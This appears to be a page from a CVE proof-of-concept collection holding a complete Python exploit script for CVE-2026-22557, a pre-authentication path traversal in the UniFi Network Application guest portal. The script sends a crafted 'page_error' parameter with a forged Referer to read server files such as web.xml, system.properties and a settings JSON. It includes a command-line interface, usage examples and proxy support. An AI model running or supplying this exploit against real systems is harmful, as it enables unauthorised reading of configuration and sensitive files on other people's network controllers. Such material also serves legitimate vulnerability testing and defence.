5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-22557.py PY
#!/usr/bin/env python3
"""CVE-2026-22557 - UniFi Network Application Pre-Auth Path Traversal"""

import argparse
import sys
import urllib3
import requests
from urllib.parse import urlparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

DEFAULT_FILE = "../../web.xml"
DEFAULT_GUEST_PATH = "/guest/s/default/login"


def build_referer(target_url, guest_path):
    parsed = urlparse(target_url)
    base = guest_path.rsplit("/login", 1)[0]
    return (
        f"http://{parsed.hostname}:{parsed.port or 80}{base}/"
        f"?id=aa:bb:cc:dd:ee:ff&ap=00:11:22:33:44:55"
        f"&ssid=test&url=http://example.com"
    )


def exploit(target_url, file_path, guest_path, proxy=None, output=None):
    url = f"{target_url.rstrip('/')}{guest_path}"
    params = {"page_error": file_path}
    headers = {"Referer": build_referer(target_url, guest_path)}
    proxies = {"http": proxy, "https": proxy} if proxy else None

    print(f"[*] Target:  {url}")
    print(f"[*] File:    {file_path}")
    if proxy:
        print(f"[*] Proxy:   {proxy}")
    print()

    try:
        resp = requests.get(url, params=params, headers=headers,
                            verify=False, timeout=10, proxies=proxies,
                            allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection failed: {e}")
        return False

    if resp.status_code in (301, 302, 303, 307, 308):
        print(f"[-] HTTP {resp.status_code} -> {resp.headers.get('Location', '?')}")
        print("    Site name may be wrong or guest portal not reachable.")
        return False

    if resp.status_code != 200:
        print(f"[-] HTTP {resp.status_code}")
        return False

    body = resp.text
    if "normalized to [null]" in body or not body.strip():
        print("[-] Path blocked by Tomcat normalisation (too many ../)")
        return False

    if output:
        with open(output, "wb") as f:
            f.write(resp.content)
        print(f"[+] Saved {len(resp.content)} bytes to {output}")
    else:
        print(f"[+] Response ({len(resp.content)} bytes):\n")
        sys.stdout.buffer.write(resp.content)
        if not resp.content.endswith(b"\n"):
            print()

    return True


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-22557 - UniFi Network Application Pre-Auth Path Traversal",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""\
examples:
  %(prog)s https://192.168.1.1:8843
  %(prog)s http://192.168.1.1:8880
  %(prog)s https://192.168.1.1:8843 -f ../system.properties
  %(prog)s https://192.168.1.1:8843 -f ../api/fields/Setting.json -o setting.json
  %(prog)s https://192.168.1.1:8843 -g /guest/s/mysite/login
  %(prog)s https://192.168.1.1:8843 -x http://127.0.0.1:8080
""",
    )
    parser.add_argument("target", help="target URL (e.g. https://192.168.1.1:8843)")
    parser.add_argument("-f", "--file", default=DEFAULT_FILE,
                        help=f"relative path to read (default: {DEFAULT_FILE})")
    parser.add_argument("-g", "--guest-path", default=DEFAULT_GUEST_PATH,
                        help=f"guest portal path (default: {DEFAULT_GUEST_PATH})")
    parser.add_argument("-o", "--output", help="save response to file instead of stdout")
    parser.add_argument("-x", "--proxy", help="proxy URL (e.g. http://127.0.0.1:8080)")
    args = parser.parse_args()

    target = args.target
    if "://" not in target:
        target = f"https://{target}"

    ok = exploit(target, args.file, args.guest_path, args.proxy, args.output)
    sys.exit(0 if ok else 1)


if __name__ == "__main__":
    main()